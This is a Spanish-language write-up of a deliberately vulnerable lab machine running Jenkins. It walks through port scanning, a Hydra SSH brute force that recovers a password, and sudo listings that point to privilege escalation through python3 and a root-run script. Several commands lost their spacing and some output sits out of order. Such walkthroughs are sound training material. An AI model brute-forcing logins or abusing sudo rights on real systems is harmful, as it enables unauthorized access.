Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipsecretjenkins.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shsecretjenkins.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Por lo que vemos esta abierto el puerto 8080 que en este caso pertenece a un jenkins, si entramos en la pagina veremos un login, si probamos las credenciales por defecto veremos que no funciona, por lo que haremos lo siguiente:
Escalate user bobby
Vamos a ver de que version es el jenkins:
Info:
Vamos a ver si la version 2.441 de jenkins es vulnerable, pero vemos que si lo es, por lo que dejare el PoC en el siguiente link:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-09 05:43 EST
Nmap scan report for spainmerides.dl (172.17.0.2)
Host is up (0.000039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 94:fb:28:59:7f:ae:02:c0:56:46:07:33:8c:ac:52:85 (ECDSA)
|_ 256 43:07:50:30:bb:28:b0:73:9b:7c:0c:4e:3f:c9:bf:02 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-09 05:58:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 28688798 login tries (l:2/p:14344399), ~448263 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: bobby password: chocolate
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
ssh bobby@<IP>
Matching Defaults entries for bobby on c5b862b2d8af:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User bobby may run the following commands on c5b862b2d8af:
(pinguinito) NOPASSWD: /usr/bin/python3
Matching Defaults entries for pinguinito on c5b862b2d8af:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User pinguinito may run the following commands on c5b862b2d8af:
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
import shutil
def copiar_archivo(origen, destino):
shutil.copy(origen, destino)
print(f'Archivo copiado de {origen} a {destino}')
if __name__ == '__main__':
origen = '/opt/script.py'
destino = '/tmp/script_backup.py'
copiar_archivo(origen, destino)
ls -la /opt/script.py
-r-xr--r-- 1 pinguinito root 272 May 11 2024 /opt/script.py